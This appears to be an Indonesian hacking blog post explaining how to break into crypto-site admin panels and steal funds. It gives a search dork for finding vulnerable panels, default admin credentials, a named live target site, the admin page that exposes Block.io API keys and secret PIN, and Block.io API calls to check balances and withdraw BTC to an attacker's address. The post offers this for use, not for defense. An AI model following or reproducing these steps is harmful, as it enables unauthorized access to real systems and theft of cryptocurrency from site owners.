[cyberking]

Hayo, yang panas panasan dengan cryptocurrency.
kali ini kita berbagi tentang kesalahan admin yang suka bikin password gampangan kaya cabecabean, eh.
Langsung aja, sruputtt

Dork :
intext:"Edit from WebAdmin."

Login Admin : http://<site.com>/admin

Default login :
user : admin
pass : admin

OR

user : admin
pass : 123456

LIVE DEMO?

https://kacip[.]my/admin/
user : admin
pass : admin

Go to -> https://kacip[.]my/admin/?a=api_keys



Nah, dari sana muncul API Key Block[.]io
Sekarang nyoba edit Api nya biar keliatan PIN SECRET buat withdraw

Go to -> https://kacip[dot]my/admin/?a=api_keys&b=edit&id=1



Wakaka, sekarang kita liat dulu saldo BTC di block[dot]io dengan API KEY itu
How to?
https://block[dot]io/api/v2/get_balance/?api_key=<API KEY nya>
ex:
https://block[dot]io/api/v2/get_balance/?api_key=2e7d-01d0-3a29-92a4




dengan balance segitu ga cukup buat Withdraw    
Tapi kalo om om semua mau ngoprek lg nemu yang ada balancenya, cara withdrawnya begini

https://block[dot]io/api/v2/withdraw/?api_key=<API KEY nya>&amounts=<NILAI nya>&to_addresses=<ALAMAT BTC nya>&pin=<SECRET PIN nya>

tapi karna ga berhasil akibat kekurangan balance jadinya begini  




KEEP LEARN AND SHARE!